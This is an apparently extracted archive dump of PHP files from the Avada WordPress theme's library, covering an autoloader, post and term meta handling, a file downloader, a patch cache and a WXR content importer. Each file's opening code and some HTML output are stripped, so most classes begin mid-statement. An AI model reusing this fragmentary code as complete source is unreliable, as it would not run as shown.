'/inc/class-fusion-font-awesome.php', 'Fusion_Social_Sharing' => FUSION_LIBRARY_PATH . '/inc/class-fusion-social-sharing.php', 'Fusion_Social_Icon' => FUSION_LIBRARY_PATH . '/inc/class-fusion-social-icon.php', 'Fusion_Product_Registration' => FUSION_LIBRARY_PATH . '/inc/class-fusion-product-registration.php', 'Fusion_Updater' => FUSION_LIBRARY_PATH . '/inc/class-fusion-updater.php', 'Fusion_WooCommerce' => FUSION_LIBRARY_PATH . '/inc/class-fusion-woocommerce.php', 'Fusion_Helper' => FUSION_LIBRARY_PATH . '/inc/class-fusion-helper.php', 'Fusion_Social_Icons' => FUSION_LIBRARY_PATH . '/inc/class-fusion-social-icons.php', 'Fusion_Dynamic_CSS' => FUSION_LIBRARY_PATH . '/inc/class-fusion-dynamic-css.php', 'Fusion_Dynamic_CSS_Helpers' => FUSION_LIBRARY_PATH . '/inc/class-fusion-dynamic-css-helpers.php', 'Fusion_Options_Map' => FUSION_LIBRARY_PATH . '/inc/class-fusion-options-map.php', 'Fusion_Color' => FUSION_LIBRARY_PATH . '/inc/class-fusion-color.php', 'Fusion_Data' => FUSION_LIBRARY_PATH . '/inc/class-fusion-data.php', 'Fusion_Patcher' => FUSION_LIBRARY_PATH . '/inc/class-fusion-patcher.php', 'Fusion_Patcher_Apply_Patch' => FUSION_LIBRARY_PATH . '/inc/class-fusion-patcher-apply-patch.php', 'Fusion_Patcher_Admin_Screen' => FUSION_LIBRARY_PATH . '/inc/class-fusion-patcher-admin-screen.php', 'Fusion_Patcher_Checker' => FUSION_LIBRARY_PATH . '/inc/class-fusion-patcher-checker.php', 'Fusion_Dynamic_CSS_Inline' => FUSION_LIBRARY_PATH . '/inc/class-fusion-dynamic-css-inline.php', 'Fusion_Dynamic_JS_File' => FUSION_LIBRARY_PATH . '/inc/class-fusion-dynamic-js-file.php', 'Fusion_Filesystem' => FUSION_LIBRARY_PATH . '/inc/class-fusion-filesystem.php', 'Fusion_Panel_Callbacks' => FUSION_LIBRARY_PATH . '/inc/class-fusion-panel-callbacks.php', 'Fusion_Featured_Image' => FUSION_LIBRARY_PATH . '/inc/class-fusion-featured-image.php', 'Fusion_Breadcrumbs' => FUSION_LIBRARY_PATH . '/inc/class-fusion-breadcrumbs.php', 'Fusion_Data_Framework' => FUSION_LIBRARY_PATH . '/inc/class-fusion-data-framework.php', 'Fusion_Data_PostMeta' => FUSION_LIBRARY_PATH . '/inc/class-fusion-data-postmeta.php', 'Fusion_FusionRedux' => FUSION_LIBRARY_PATH . '/inc/class-fusion-fusionredux.php', 'Fusion_Data_TermMeta' => FUSION_LIBRARY_PATH . '/inc/class-fusion-data-termmeta.php', 'Fusion_Dynamic_CSS_File' => FUSION_LIBRARY_PATH . '/inc/class-fusion-dynamic-css-file.php', 'Fusion_JSON_LD' => FUSION_LIBRARY_PATH . '/inc/class-fusion-json-ld.php', ]; } return self::$path_map; } } Avada/includes/lib/inc/class-fusion-data-framework.php000064400000003463152342437700016743 0ustar00get_page_id(); } if ( ! isset( self::$data['post_meta'] ) ) { self::$data['post_meta'] = []; } if ( ! isset( self::$data['post_meta'][ $id ] ) ) { self::$data['post_meta'][ $id ] = new Fusion_Data_PostMeta( $id ); } return self::$data['post_meta'][ $id ]; } /** * Get a term-meta object. * * @access public * @since 2.2.0 * @param int $id The term-ID. * @return Fusion_Data_TermMeta */ public function term_meta( $id = 0 ) { if ( ! isset( self::$data['term_meta'] ) ) { self::$data['term_meta'] = []; } if ( ! isset( self::$data['term_meta'][ $id ] ) ) { self::$data['term_meta'][ $id ] = new Fusion_Data_TermMeta( $id ); } return self::$data['term_meta'][ $id ]; } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/lib/inc/class-fusion-downloader.php000064400000012326152342437700016173 0ustar00url = $url; $this->folder_name = $folder_name; $this->folder_path = self::get_root_path( $this->folder_name ); $this->folder_url = self::get_root_url( $this->folder_name ); $this->filename = $filename ? $filename : self::get_filename_from_url( $url ); $this->path = $this->folder_path . '/' . $this->filename; } /** * Returns the $wp_filesystem global. * * @access private * @since 5.5.2 * @return WP_Filesystem */ private function filesystem() { return Fusion_Helper::init_filesystem(); } /** * Downloads a file and saves it locally. * * @access public * @since 5.5.2 * @return bool */ public function download_file() { // If the file exists no reason to do anything. if ( file_exists( $this->path ) ) { return true; } // If the folder doesn't exist, create it. if ( ! file_exists( $this->folder_path ) ) { $this->filesystem()->mkdir( $this->folder_path, FS_CHMOD_DIR ); } // Write file. return $this->filesystem()->put_contents( $this->path, $this->get_remote_url_contents(), FS_CHMOD_FILE ); } /** * Gets the remote URL contents. * * @access private * @since 5.5.2 * @return string The contents of the remote URL. */ public function get_remote_url_contents() { $response = wp_remote_get( $this->url ); if ( is_wp_error( $response ) ) { return; } return wp_remote_retrieve_body( $response ); } /** * Gets the filename by breaking-down the URL parts. * * @static * @access public * @since 5.5.2 * @param string $url The URL. * @return string The filename. */ public static function get_filename_from_url( $url ) { $url_parts = explode( '/', $url ); $parts_count = count( $url_parts ); if ( 1 < $parts_count ) { return $url_parts[ count( $url_parts ) - 1 ]; } return $url; } /** * Gets the root folder path. * Other paths are built based on this. * * @static * @since 1.8 * @access public * @param string $folder_name The folder-name. * @return string */ public static function get_root_path( $folder_name ) { // Get the upload directory for this site. $upload_dir = wp_upload_dir(); $path = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/' . $folder_name; // If the folder doesn't exist, create it. if ( ! file_exists( $path ) ) { $filesystem = Fusion_Helper::init_filesystem(); $filesystem->mkdir( $path, FS_CHMOD_DIR ); } // Return the path. $folder_name_parts = explode( '/', $folder_name ); $filter_name = str_replace( '-', '_', $folder_name_parts[0] ) . '_root_path'; return apply_filters( $filter_name, $path ); } /** * Gets the root folder url. * Other urls are built based on this. * * @static * @access public * @since 1.8 * @param string $folder_name The folder-name. * @return string */ public static function get_root_url( $folder_name ) { // Get the upload directory for this site. $upload_dir = wp_upload_dir(); // The URL. $url = trailingslashit( $upload_dir['baseurl'] ); // Take care of domain mapping. // When using domain mapping we have to make sure that the URL to the file // does not include the original domain but instead the mapped domain. if ( defined( 'DOMAIN_MAPPING' ) && DOMAIN_MAPPING ) { if ( function_exists( 'domain_mapping_siteurl' ) && function_exists( 'get_original_url' ) ) { $mapped_domain = domain_mapping_siteurl( false ); $original_domain = get_original_url( 'siteurl' ); $url = str_replace( $original_domain, $mapped_domain, $url ); } } $folder_name_parts = explode( '/', $folder_name ); $filter_name = str_replace( '-', '_', $folder_name_parts[0] ) . '_root_url'; return apply_filters( $filter_name, untrailingslashit( esc_url_raw( $url ) ) . '/' . $folder_name ); } /** * Return the new file URL. * * @access public * @since 2.2.0 * @return string */ public function get_new_url() { return trailingslashit( $this->folder_url ) . $this->filename; } } Avada/includes/lib/inc/class-fusion-json-ld.php000064400000004213152342437700015377 0ustar00add_params( $context, $params ); // Print JSON-LD in the footer. add_action( 'wp_footer', [ $this, 'print_json' ], 110 ); } /** * Adds the items to the current context, removing duplicates. * * @access public * @since 2.2.0 * @param string $context The context (ID). * @param array $params An array of parameters. * @return void */ public function add_params( $context, $params ) { // Make sure context exists. if ( ! isset( self::$params[ $context ] ) ) { self::$params[ $context ] = []; } foreach ( $params as $key => $val ) { if ( is_array( $val ) ) { if ( ! isset( self::$params[ $context ][ $key ] ) ) { self::$params[ $context ][ $key ] = $val; } else { self::$params[ $context ][ $key ] = array_merge_recursive( (array) self::$params[ $context ][ $key ], $val ); } self::$params[ $context ][ $key ] = array_intersect_key( self::$params[ $context ][ $key ], array_unique( array_map( 'serialize', self::$params[ $context ][ $key ] ) ) ); } else { self::$params[ $context ][ $key ] = $val; } } } /** * Prints the JSON-LD scripts. * * @access public * @since 2.2.0 */ public function print_json() { if ( empty( self::$params ) ) { return; } foreach ( self::$params as $context => $args ) { echo ''; // Unset the context to avoid loops. unset( self::$params[ $context ] ); } } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/lib/inc/class-fusion-patcher-cache.php000064400000007074152342437700016530 0ustar00 [...patches...], 'context2' => [...patches...] ] * * @access protected * @since 1.0.0 * @var array */ protected $cached_patches = []; /** * Constructor. * * @access public * @since 1.0.0 */ public function __construct() { $this->cached_patches = get_site_transient( $this->transient_name ); } /** * Caches patches for a specific product. * * @access public * @since 1.0.0 * @param array $args Arguments array inherited from Fusion_Patcher. * @param array $data The data we want to add to the cache. */ public function set_cache( $args = [], $data = [] ) { // Early exit if $args['context'] is not provided. if ( empty( $args ) || ! isset( $args['context'] ) ) { return; } // Make sure that cached patches are formatted as an array. if ( false === $this->cached_patches ) { $this->cached_patches = []; } // Cache the patches. $this->cached_patches[ $args['context'] ] = $data; set_site_transient( $this->transient_name, $this->cached_patches, $this->cache_duration ); Fusion_Patcher_Checker::reset_cache(); } /** * Gets caches. * * @access public * @since 1.0.0 * @param array $args Arguments array inherited from Fusion_Patcher. * @return array|false Returns false on fail, otherwise an array/ */ public function get_cache( $args = [] ) { // If nothing is cached, return false. if ( false === $this->cached_patches ) { return false; } $patches = []; // If no arguments are provided then get ALL patches. if ( empty( $args ) || ! isset( $args['context'] ) ) { // No patches were found. if ( ! $this->cached_patches ) { return []; } foreach ( $this->cached_patches as $context => $context_patches ) { if ( ! is_array( $context_patches ) ) { $context_patches = []; } $patches = array_merge( $patches, $context_patches ); } $patches = array_unique( $patches ); sort( $patches ); return $patches; } // If we got this far, we need patches for a specific context. if ( isset( $this->cached_patches[ $args['context'] ] ) ) { return $this->cached_patches[ $args['context'] ]; } // Nothing found, return an empty array. return []; } /** * Resets caches. * If $args is provided, then only the specific patches will be reset. * If $args is empty, ALL patches will be reset. * * @access public * @since 1.0.0 * @param array $args Arguments array inherited from Fusion_Patcher. */ public function reset_caches( $args = [] ) { if ( isset( $args['context'] ) ) { if ( isset( $this->cached_patches[ $args['context'] ] ) ) { unset( $this->cached_patches[ $args['context'] ] ); set_site_transient( $this->transient_name, $this->cached_patches, $this->cache_duration ); } Fusion_Patcher_Checker::reset_cache(); return; } Fusion_Patcher_Checker::reset_cache(); delete_site_transient( $this->transient_name ); delete_site_option( 'fusion_applied_patches' ); delete_site_option( 'fusion_failed_patches' ); delete_site_transient( Fusion_Patcher_Checker::$transient_name ); } } Avada/includes/lib/inc/class-fusion-featured-image.php000064400000012311152342437700016706 0ustar00defaults = [ 'id' => 'featured-image-2', 'post_type' => 'page', 'name' => esc_html__( 'Featured Image 2', 'Avada' ), 'label_set' => esc_html__( 'Set featured image 2', 'Avada' ), 'label_remove' => esc_html__( 'Remove featured image 2', 'Avada' ), ]; $this->args = wp_parse_args( $args, $this->defaults ); $this->args['metabox_id'] = $this->args['id'] . '_' . $this->args['post_type']; $this->args['post_meta_key'] = 'kd_' . $this->args['metabox_id'] . '_id'; add_action( 'add_meta_boxes', [ $this, 'add_meta_box' ] ); add_action( 'init', [ $this, 'init_info_meta_box' ] ); } /** * Init admin metabox for an features images info. * * @since 5.2.1 * @access public * @return void */ public function init_info_meta_box() { add_action( 'add_meta_boxes', [ $this, 'add_meta_box_info' ] ); } /** * Add admin metabox for an additional featured image. * * @since 1.1 * @access public * @return void */ public function add_meta_box() { add_meta_box( $this->args['metabox_id'], $this->args['name'], [ $this, 'meta_box_content' ], $this->args['post_type'], 'side', 'low' ); } /** * Add admin metabox for an additional featured images info. * * @since 5.2.1 * @access public * @return void */ public function add_meta_box_info() { add_meta_box( 'fusion_featured_images_info', __( 'Featured images Info', 'Avada' ), [ $this, 'meta_box_info_content' ], $this->args['post_type'], 'side', 'low' ); } /** * Output the metabox content. * * @since 1.1 * @access public * @global object $post * @return void */ public function meta_box_content() { global $post; $image_id = fusion_data()->post_meta( $post->ID )->get( $this->args['post_meta_key'] ); ?> ' . esc_html__( 'Global Options', 'Avada' ) . '' ); } /** * Retrieve the ID of the featured image. * * @since 1.1 * @static * @access public * @global object $post * @param string $image_id Internal ID of the featured image. * @param string $post_type The post type of the post the featured image belongs to. * @param int $post_id A custom post ID. * @return int The featured image ID. */ public static function get_featured_image_id( $image_id, $post_type = null, $post_id = null ) { global $post; if ( is_null( $post_type ) ) { $post_type = get_post_type(); } if ( is_null( $post_id ) ) { $post_id = get_the_ID(); } return apply_filters( 'wpml_object_id', fusion_data()->post_meta( $post_id )->get( 'kd_' . $image_id . '_' . $post_type . '_id' ), 'attachment', true ); } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/lib/inc/class-fusion-data-postmeta.php000064400000016033152342437700016577 0ustar00post_id = $id; } /** * Get post-meta. * * @access public * @since 2.2.0 * @param string $option The option we want to get. * @param array $args Additional arguments. */ public function get( $option, $args = [] ) { // Get all meta. $meta = $this->get_all_meta(); // Migrate incorrectly named portfolio_featured_image_width setting. if ( 'portfolio_featured_image_width' === $option && ! isset( $meta[ $option ] ) && isset( $meta['width'] ) ) { $meta['portfolio_featured_image_width'] = $meta['width']; unset( $meta['width'] ); update_post_meta( $this->post_id, self::ROOT, $meta ); } // If we find a value return it. if ( isset( $meta[ $option ] ) ) { return $meta[ $option ]; } // Check if we want item from inside an array. if ( false !== strpos( $option, '[' ) ) { $parts = explode( '[', $option ); if ( ! isset( $meta[ $parts[0] ] ) ) { return ''; } $value = $meta[ $parts[0] ]; unset( $parts[0] ); foreach ( $parts as $part ) { $part = str_replace( ']', '', $part ); if ( ! is_array( $value ) || ! isset( $value[ $part ] ) ) { return ''; } $value = $value[ $part ]; } return $value; } // Fallback: empty string. return ''; } /** * Set post-meta. * * @access public * @since 2.2.0 * @param string $option The option we want to get. * @param mixed $value The value we want to set. * @param array $args Additional arguments. * @return int|bool See https://developer.wordpress.org/reference/functions/update_post_meta/ */ public function set( $option, $value, $args = [] ) { // Get all existing post-meta. // We won't be using this but getting the value makes sure it is set in the object. $meta = $this->get_all_meta(); // Set the value in our array. if ( false === strpos( $option, '[' ) ) { // This is a normal option. $this->data[ $option ] = $value; // If the value is default or empty, delete the item from our array. if ( '' === $value || 'default' === $value ) { unset( $this->data[ $option ] ); } } else { // Option is part of an array. $option_root = explode( '[', $option )[0]; if ( ! isset( $this->data[ $option_root ] ) ) { $this->data[ $option_root ] = []; } $option_child = str_replace( ']', '', explode( '[', $option )[1] ); $this->data[ $option_root ][ $option_child ] = $value; // If the value is default or empty, delete the item from our array. if ( '' === $value || 'default' === $value ) { unset( $this->data[ $option_root ][ $option_child ] ); if ( empty( $this->data[ $option_root ] ) ) { unset( $this->data[ $option_root ] ); } } } // Update post-meta with new value. return update_post_meta( $this->post_id, self::ROOT, $this->data ); } /** * Delete data. * * @access public * @since 2.2.0 * @param string $option The option we want to delete. */ public function delete( $option ) { // Get all existing post-meta. $meta = $this->get_all_meta(); if ( isset( $meta[ $option ] ) ) { unset( $meta[ $option ] ); } // Update post-meta with new value. update_post_meta( $this->post_id, self::ROOT, $meta ); } /** * Gets all post-meta. * * @access public * @since 2.2.0 * @return array */ public function get_all_meta() { global $pagenow; // No valid post ID, return early. if ( ! $this->post_id || ! is_numeric( $this->post_id ) ) { return []; } $post_type = get_post_type( $this->post_id ); // If on new post screen, exit early. if ( is_admin() && 'post-new.php' === $pagenow && 'fusion_icons' !== $post_type ) { return []; } // Check if we are non-allowable post type and return early if so. $disallowed_post_types = apply_filters( 'avada_hide_page_options', [ 'attachment', 'shop_order' ] ); if ( in_array( $post_type, $disallowed_post_types, true ) ) { return []; } // If we don't have the option in our cache, get it from the post. if ( is_null( $this->data ) ) { // Get the post-meta. $this->data = get_post_meta( $this->post_id, self::ROOT, true ); if ( is_string( $this->data ) ) { $this->data = maybe_unserialize( $this->data ); } // Check if we have a template override. $template_override = false; if ( class_exists( 'Fusion_Template_Builder' ) ) { $template_override = Fusion_Template_Builder::get_instance()->get_override( 'content' ); } // Use the template post-meta, and fill-in the gaps with the post's post-meta. if ( $template_override && is_object( $template_override ) && isset( $template_override->ID ) ) { // Remove post-meta that should be overrides from the template. foreach ( self::$template_options as $option ) { if ( isset( $this->data[ $option ] ) ) { unset( $this->data[ $option ] ); } } // Add the template post-meta. $this->data = wp_parse_args( $this->data, get_post_meta( $template_override->ID, self::ROOT, true ) ); } } // If post-meta doesn't exist, migrate it. if ( '' === $this->data ) { $this->data = []; if ( class_exists( 'Fusion_Deprecate_Pyre_PO' ) && is_int( $this->post_id ) ) { new Fusion_Deprecate_Pyre_PO( $this->post_id ); $this->data = get_post_meta( $this->post_id, self::ROOT, true ); } } return (array) apply_filters( 'fusion_get_all_meta', (array) $this->data, $this->post_id ); } /** * Resets the $data to force-get them anew. * * @access public * @since 6.2.0 * @return void */ public function reset_data() { $this->data = null; } /** * Get the $template_options static var. * * @static * @access public * @since 2.2.0 * @return array */ public static function get_template_options() { return self::$template_options; } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/lib/inc/importer/class-fusion-wxr-importer.php000064400000044513152342437700020360 0ustar00childNodes as $child ) { // We only care about child elements if ( $child->nodeType !== XML_ELEMENT_NODE ) { continue; } switch ( $child->tagName ) { case 'wp:post_type': $data['post_type'] = $child->textContent; break; case 'title': $data['post_title'] = $child->textContent; break; case 'guid': $data['guid'] = $child->textContent; break; case 'dc:creator': $data['post_author'] = $child->textContent; break; case 'content:encoded': $data['post_content'] = $child->textContent; break; case 'excerpt:encoded': $data['post_excerpt'] = $child->textContent; break; case 'wp:post_id': $data['post_id'] = $child->textContent; break; case 'wp:post_date': $data['post_date'] = $child->textContent; break; case 'wp:post_date_gmt': $data['post_date_gmt'] = $child->textContent; break; case 'wp:comment_status': $data['comment_status'] = $child->textContent; break; case 'wp:ping_status': $data['ping_status'] = $child->textContent; break; case 'wp:post_name': $data['post_name'] = $child->textContent; break; case 'wp:status': $data['post_status'] = $child->textContent; if ( $data['post_status'] === 'auto-draft' ) { // Bail now return new WP_Error( 'wxr_importer.post.cannot_import_draft', __( 'Cannot import auto-draft posts', 'Avada' ), $data ); } break; case 'wp:post_parent': $data['post_parent'] = $child->textContent; break; case 'wp:menu_order': $data['menu_order'] = $child->textContent; break; case 'wp:post_password': $data['post_password'] = $child->textContent; break; case 'wp:is_sticky': $data['is_sticky'] = $child->textContent; break; case 'wp:attachment_url': $data['attachment_url'] = $child->textContent; break; case 'wp:postmeta': $meta_item = $this->parse_meta_node( $child ); // Start ThemeFusion edit. /* if ( ! empty( $meta_item ) ) { $meta[] = $meta_item; } */ // End ThemeFusion edit. $meta[] = $meta_item; break; case 'wp:comment': $comment_item = $this->parse_comment_node( $child ); if ( ! empty( $comment_item ) ) { $comments[] = $comment_item; } break; case 'category': $term_item = $this->parse_category_node( $child ); if ( ! empty( $term_item ) ) { $terms[] = $term_item; } break; } } // Start ThemeFusion edit. // $meta[] = array( 'key' => 'fusion_demo_import', 'value' => 'true' ); // End ThemeFusion edit. return compact( 'data', 'meta', 'comments', 'terms' ); } /** * Parse a meta node into meta data. * * @param DOMElement $node Parent node of meta data (typically `wp:postmeta` or `wp:commentmeta`). * @return array|null Meta data array on success, or null on error. */ protected function parse_meta_node( $node ) { foreach ( $node->childNodes as $child ) { // We only care about child elements if ( $child->nodeType !== XML_ELEMENT_NODE ) { continue; } switch ( $child->tagName ) { case 'wp:meta_key': $key = $child->textContent; break; case 'wp:meta_value': $value = $child->textContent; break; } } // Start ThemeFusion edit. /* if ( empty( $key ) || empty( $value ) ) { return null; } */ // End ThemeFusion edit. return compact( 'key', 'value' ); } /** * Process and import post meta items. * * @param array $meta List of meta data arrays * @param int $post_id Post to associate with * @param array $post Post data * @return int|WP_Error Number of meta items imported on success, error otherwise. */ protected function process_post_meta( $meta, $post_id, $post ) { // Start ThemeFusion edit. /* if ( empty( $meta ) ) { return true; } */ // End ThemeFusion edit. foreach ( $meta as $meta_item ) { /** * Pre-process post meta data. * * @param array $meta_item Meta data. (Return empty to skip.) * @param int $post_id Post the meta is attached to. */ $meta_item = apply_filters( 'wxr_importer.pre_process.post_meta', $meta_item, $post_id ); // Start ThemeFusion edit. /* if ( empty( $meta_item ) ) { return false; } */ // End ThemeFusion edit. $key = apply_filters( 'import_post_meta_key', $meta_item['key'], $post_id, $post ); $value = false; if ( '_edit_last' === $key ) { $value = intval( $meta_item['value'] ); if ( ! isset( $this->mapping['user'][ $value ] ) ) { // Skip! continue; } $value = $this->mapping['user'][ $value ]; } if ( $key ) { // export gets meta straight from the DB so could have a serialized string if ( ! $value ) { $value = maybe_unserialize( $meta_item['value'] ); } if ( '_fusion' === $key ) { delete_post_meta( $post_id, $key ); } add_post_meta( $post_id, $key, $value ); do_action( 'import_post_meta', $post_id, $key, $value ); // if the post has a featured image, take note of this in case of remap if ( '_thumbnail_id' === $key ) { $this->featured_images[ $post_id ] = (int) $value; } } } return true; } /** * Attempt to download a remote file attachment * * @param string $url URL of item to fetch * @param array $post Attachment details * @return array|WP_Error Local file location details on success, WP_Error otherwise */ protected function fetch_remote_file( $url, $post ) { // extract the file name and extension from the url $file_name = basename( $url ); // get placeholder file in the upload dir with a unique, sanitized filename $upload = wp_upload_bits( $file_name, 0, '', $post['upload_date'] ); if ( $upload['error'] ) { return new WP_Error( 'upload_dir_error', $upload['error'] ); } // fetch the remote url and write it to the placeholder file. // Start ThemeFusion edit. /* $response = wp_remote_get( $url, array( 'stream' => true, 'filename' => $upload['file'], ) ); */ $headers = avada_wp_get_http( $url, $upload['file'] ); // End ThemeFusion edit. // request failed if ( is_wp_error( $headers ) ) { unlink( $upload['file'] ); return $headers; } // Start ThemeFusion edit. /* $code = (int) wp_remote_retrieve_response_code( $response ); */ $code = $headers['response']; // End ThemeFusion edit. // make sure the fetch was successful if ( $code !== 200 ) { unlink( $upload['file'] ); return new WP_Error( 'import_file_error', sprintf( __( 'Remote server returned %1$d %2$s for %3$s', 'Avada' ), $code, get_status_header_desc( $code ), $url ) ); } $filesize = filesize( $upload['file'] ); // Start ThemeFusion edit. /* $headers = wp_remote_retrieve_headers( $response ); */ // End ThemeFusion edit. if ( isset( $headers['content-length'] ) && $filesize !== (int) $headers['content-length'] ) { unlink( $upload['file'] ); return new WP_Error( 'import_file_error', __( 'Remote file is incorrect size', 'Avada' ) ); } if ( 0 === $filesize ) { unlink( $upload['file'] ); return new WP_Error( 'import_file_error', __( 'Zero size file downloaded', 'Avada' ) ); } $max_size = (int) $this->max_attachment_size(); if ( ! empty( $max_size ) && $filesize > $max_size ) { unlink( $upload['file'] ); $message = sprintf( __( 'Remote file is too large, limit is %s', 'Avada' ), size_format( $max_size ) ); return new WP_Error( 'import_file_error', $message ); } return $upload; } /** * Does the post exist? * * @param array $data Post data to check against. * @return int|bool Existing post ID if it exists, false otherwise. */ protected function post_exists( $data ) { // Constant-time lookup if we prefilled $exists_key = $data['guid']; /** * ThemeFusion edit. * This had to be disabled as after 'xml replacements' are made importing post might have same GUID as already existing post. * Note that 'prefill_existing_posts' option should be set to false. */ /* if ( $this->options['prefill_existing_posts'] ) { return isset( $this->exists['post'][ $exists_key ] ) ? $this->exists['post'][ $exists_key ] : false; } */ // No prefilling, but might have already handled it /* // This one had to be disabled as well, XML file contains posts with same GUID if ( isset( $this->exists['post'][ $exists_key ] ) ) { return $this->exists['post'][ $exists_key ]; } */ // ThemeFusion edit. // We're just returning false if this post isn't already imported. return apply_filters( 'wxr_importer.checking_exists.post', false, $data ); /** * ThemeFusion edit. * This had to be disabled as menu items, which have empty title and content, could be published at exact same date (including seconds). */ /* // Still nothing, try post_exists, and cache it $exists = post_exists( $data['post_title'], $data['post_content'], $data['post_date'] ); $this->exists['post'][ $exists_key ] = $exists; return $exists; */ } protected function parse_term_node( $node, $type = 'term' ) { $data = array(); $meta = array(); $tag_name = array( 'id' => 'wp:term_id', 'taxonomy' => 'wp:term_taxonomy', 'slug' => 'wp:term_slug', 'parent' => 'wp:term_parent', 'name' => 'wp:term_name', 'description' => 'wp:term_description', ); $taxonomy = null; // Special casing! switch ( $type ) { case 'category': $tag_name['slug'] = 'wp:category_nicename'; $tag_name['parent'] = 'wp:category_parent'; $tag_name['name'] = 'wp:cat_name'; $tag_name['description'] = 'wp:category_description'; $tag_name['taxonomy'] = null; $data['taxonomy'] = 'category'; break; case 'tag': $tag_name['slug'] = 'wp:tag_slug'; $tag_name['parent'] = null; $tag_name['name'] = 'wp:tag_name'; $tag_name['description'] = 'wp:tag_description'; $tag_name['taxonomy'] = null; $data['taxonomy'] = 'post_tag'; break; } foreach ( $node->childNodes as $child ) { // We only care about child elements if ( $child->nodeType !== XML_ELEMENT_NODE ) { continue; } $key = array_search( $child->tagName, $tag_name ); if ( $key ) { $data[ $key ] = $child->textContent; } elseif ( $child->tagName === 'wp:termmeta' ) { $meta_item = $this->parse_meta_node( $child ); if ( ! empty( $meta_item ) ) { $meta[] = $meta_item; } } // ThemeFusion edit: elseif condition is added ^. } if ( empty( $data['taxonomy'] ) ) { return null; } // Compatibility with WXR 1.0 if ( $data['taxonomy'] === 'tag' ) { $data['taxonomy'] = 'post_tag'; } return compact( 'data', 'meta' ); } protected function process_term( $data, $meta ) { /** * Pre-process term data. * * @param array $data Term data. (Return empty to skip.) * @param array $meta Meta data. */ $data = apply_filters( 'wxr_importer.pre_process.term', $data, $meta ); if ( empty( $data ) ) { return false; } $original_id = isset( $data['id'] ) ? (int) $data['id'] : 0; $parent_id = isset( $data['parent'] ) ? (int) $data['parent'] : 0; $mapping_key = sha1( $data['taxonomy'] . ':' . $data['slug'] ); $existing = $this->term_exists( $data ); if ( $existing ) { /** * Term processing already imported. * * @param array $data Raw data imported for the term. */ do_action( 'wxr_importer.process_already_imported.term', $data ); $this->mapping['term'][ $mapping_key ] = $existing; $this->mapping['term_id'][ $original_id ] = $existing; return false; } // WP really likes to repeat itself in export files if ( isset( $this->mapping['term'][ $mapping_key ] ) ) { return false; } $termdata = array(); $allowed = array( 'slug' => true, 'description' => true, ); // Map the parent comment, or mark it as one we need to fix // TODO: add parent mapping and remapping /*$requires_remapping = false; if ( $parent_id ) { if ( isset( $this->mapping['term'][ $parent_id ] ) ) { $data['parent'] = $this->mapping['term'][ $parent_id ]; } else { // Prepare for remapping later $meta[] = array( 'key' => '_wxr_import_parent', 'value' => $parent_id ); $requires_remapping = true; // Wipe the parent for now $data['parent'] = 0; } }*/ foreach ( $data as $key => $value ) { if ( ! isset( $allowed[ $key ] ) ) { continue; } $termdata[ $key ] = $data[ $key ]; } $result = wp_insert_term( $data['name'], $data['taxonomy'], $termdata ); if ( is_wp_error( $result ) ) { $this->logger->warning( sprintf( __( 'Failed to import %s %s', 'Avada' ), $data['taxonomy'], $data['name'] ) ); $this->logger->debug( $result->get_error_message() ); do_action( 'wp_import_insert_term_failed', $result, $data ); /** * Term processing failed. * * @param WP_Error $result Error object. * @param array $data Raw data imported for the term. * @param array $meta Meta data supplied for the term. */ do_action( 'wxr_importer.process_failed.term', $result, $data, $meta ); return false; } $term_id = $result['term_id']; $this->mapping['term'][ $mapping_key ] = $term_id; $this->mapping['term_id'][ $original_id ] = $term_id; $this->logger->info( sprintf( __( 'Imported "%s" (%s)', 'Avada' ), $data['name'], $data['taxonomy'] ) ); $this->logger->debug( sprintf( __( 'Term %d remapped to %d', 'Avada' ), $original_id, $term_id ) ); // ThemeFusion edit. $this->process_term_meta( $meta, $term_id, $data ); do_action( 'wp_import_insert_term', $term_id, $data ); /** * Term processing completed. * * @param int $term_id New term ID. * @param array $data Raw data imported for the term. */ do_action( 'wxr_importer.processed.term', $term_id, $data ); } /** * Process and import term meta items. * * @param array $meta List of meta data arrays * @param int $term_id Term ID to associate with * @param array $term Term data * @return int|bool Number of meta items imported on success, false otherwise. */ protected function process_term_meta( $meta, $term_id, $data ) { if ( empty( $meta ) ) { return true; } foreach ( $meta as $meta_item ) { /** * Pre-process term meta data. * * @param array $meta_item Meta data. (Return empty to skip.) * @param int $term_id Term the meta is attached to. */ $meta_item = apply_filters( 'wxr_importer.pre_process.term_meta', $meta_item, $term_id ); if ( empty( $meta_item ) ) { return false; } $key = apply_filters( 'import_term_meta_key', $meta_item['key'], $term_id, $data ); if ( ! $key ) { continue; } // export gets meta straight from the DB so could have a serialized string $value = maybe_unserialize( $meta_item['value'] ); add_term_meta( $term_id, $key, $value ); do_action( 'import_term_meta', $term_id, $key, $value ); } return true; } /** * The main controller for the actual import stage. * * @param string $file Path to the WXR file for importing */ public function import_attachment( $file ) { add_filter( 'import_post_meta_key', array( $this, 'is_valid_meta_key' ) ); add_filter( 'http_request_timeout', array( &$this, 'bump_request_timeout' ) ); $result = $this->import_start( $file ); if ( is_wp_error( $result ) ) { return $result; } // Let's run the actual importer now, woot $reader = $this->get_reader( $file ); if ( is_wp_error( $reader ) ) { return $reader; } // Set the version to compatibility mode first $this->version = '1.0'; // Reset other variables $this->base_url = ''; // Start parsing! while ( $reader->read() ) { // Only deal with element opens if ( $reader->nodeType !== XMLReader::ELEMENT ) { continue; } switch ( $reader->name ) { case 'wp:wxr_version': // Upgrade to the correct version $this->version = $reader->readString(); if ( version_compare( $this->version, self::MAX_WXR_VERSION, '>' ) ) { $this->logger->warning( sprintf( __( 'This WXR file (version %s) is newer than the importer (version %s) and may not be supported. Please consider updating.', 'Avada' ), $this->version, self::MAX_WXR_VERSION ) ); } // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:base_site_url': $this->base_url = $reader->readString(); // Handled everything in this node, move on to the next $reader->next(); break; case 'item': $node = $reader->expand(); $parsed = $this->parse_post_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } if ( 'attachment' !== $parsed['data']['post_type'] ) { $reader->next(); break; } $this->process_post( $parsed['data'], $parsed['meta'], $parsed['comments'], $parsed['terms'] ); // Handled everything in this node, move on to the next $reader->next(); break; default: // Skip this node, probably handled by something already break; } } // Now that we've done the main processing, do any required // 